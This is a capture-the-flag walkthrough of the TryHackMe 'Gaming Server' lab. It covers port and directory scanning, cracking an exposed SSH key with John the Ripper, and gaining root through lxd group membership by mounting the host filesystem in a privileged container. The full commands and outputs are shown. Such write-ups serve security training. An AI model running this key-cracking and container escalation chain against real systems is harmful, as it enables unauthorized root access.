TryHackMe Gaming Server Walkthrough

In this article, we will be solving Gaming Server from TryHackMe. This is an easy level machine and is one of my favorites! Let's get started.

TryHackMe Gaming Server Walkthrough

Network Enumeration

I started the network enumeration by running a port scan using nmap looking for open ports and running services.

┌──(madhav㉿kali)-[~/ctf/thm/gamingServer]
└─$ nmap -sC -sV -oN nmap/initial 10.10.43.13                 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-07 22:58 IST
Nmap scan report for 10.10.43.13
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 340efe0612673ea4ebab7ac4816dfea9 (RSA)
|   256 49611ef4526e7b2998db302d16edf48b (ECDSA)
|_  256 b860c45bb7b2d023a0c756595c631ec4 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: House of danak
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.79 seconds

There are only two ports open. We have SSH running on port 22 and Apache httpd web server running on port 80. Let's start the enumeration with port 80 first.

Web Enumeration

On visiting the IP address in our web browser, we get a website which contains some default lorem ipsum text. Let us check the source code of this website.

We get a potential username john. Next we can run a gobuster scan to look for hidden files and directories.

┌──(madhav㉿kali)-[~/ctf/thm/gamingServer]
└─$ gobuster dir -u http://10.10.43.13 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php,.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.43.13
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
2023/01/07 23:00:15 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 276]
/index.html           (Status: 200) [Size: 2762]
/.php                 (Status: 403) [Size: 276]
/about.html           (Status: 200) [Size: 1435]
/about.php            (Status: 200) [Size: 2213]
/uploads              (Status: 301) [Size: 312] [--> http://10.10.43.13/uploads/]
/robots.txt           (Status: 200) [Size: 33]
/secret               (Status: 301) [Size: 311] [--> http://10.10.43.13/secret/]
/myths.html           (Status: 200) [Size: 3067]
===============================================================
2023/01/07 23:10:33 Finished
===============================================================

The gobuster scan gives us so many files. Let's check them one by one.

In the /secret directory, we have a file named secretKey which contains a private key. We have SSH installed on the target machine. This could be the private SSH key of user john.

I tried logging in via SSH but the private key is password protected.

We also have a /uploads which contains some interesting files.

Of course we need to check the meme.jpg first :D

We also have a "The Hacker Manifesto" which looks pretty neat!

There is another file named dict.lst which looks like a wordlist. Let's download this to our system. We can use this wordlist to crack the private key!

User Shell

We can use John the Ripper tool to crack the password for the private key of user john.

We need to convert the secretKey into a format that John can understand.We will be using ssh2john.py for this.

I'll save the output in hash.txt and then we can crack the password with the wordlist we found using John the Ripper.

┌──(madhav㉿kali)-[~/ctf/thm/gamingServer]
└─$ ssh2john secretKey > hash.txt 

┌──(madhav㉿kali)-[~/ctf/thm/gamingServer]
└─$ john --wordlist=dict.lst hash.txt                    
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein          (secretKey)     
1g 0:00:00:00 DONE (2023-01-07 23:38) 100.0g/s 22200p/s 22200c/s 22200C/s letmein..starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

We got the password for the private key. Now we can login via SSH and read the user flag!

Root Shell

We have a shell as user john and now we need to find a way to escalate our privileges to root.

If we use the id command, we can see that the user john is a part of the lxd group.

john@exploitable:~$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

LXD is a lightweight container hypervisor which allows to run linux containers. If a member is part of the lxd group, it can escalate its privileges to user root irrespective of the fact that it has sudo permissions or not.

I found this guide related to lxd privilege escalation. We need to build an alpine image and then we can mount the /root directory of  the target machine to the /mnt directory of a lxd container.

First we need to build the image in our own machine:

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

This will create a .tar.gz compressed image similar to this:

Next we need to copy the compressed file to the target machine and then import the image using lxc.

john@exploitable:~$ lxc image import ./alpine-* --alias myimage
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
john@exploitable:~$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE         |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
| myimage | cd73881adaac | no     | alpine v3.13 (20210218_01:39) | x86_64 | 3.11MB | Jan 7, 2023 at 6:10pm (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
john@exploitable:~$ lxc init myimage image -c security.privileged=true
Creating image
john@exploitable:~$ lxc config device add image mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to image
john@exploitable:~$ lxc start image

Our container has been created. Now we can simply start the container and read our final flag in the /mnt/root/root directory!

john@exploitable:~$ lxc exec image /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # cd /mnt/root/root/
/mnt/root/root # cat root.txt 
********************************

That's it! Thanks for reading. If you have any doubts/suggestions, you can share them below in the comments, I will be happy to help!

Stay tuned for similar walkthroughs and much more coming up in the near future!

NOTE: The awesome artwork used in this article was created by Daniel Mackey.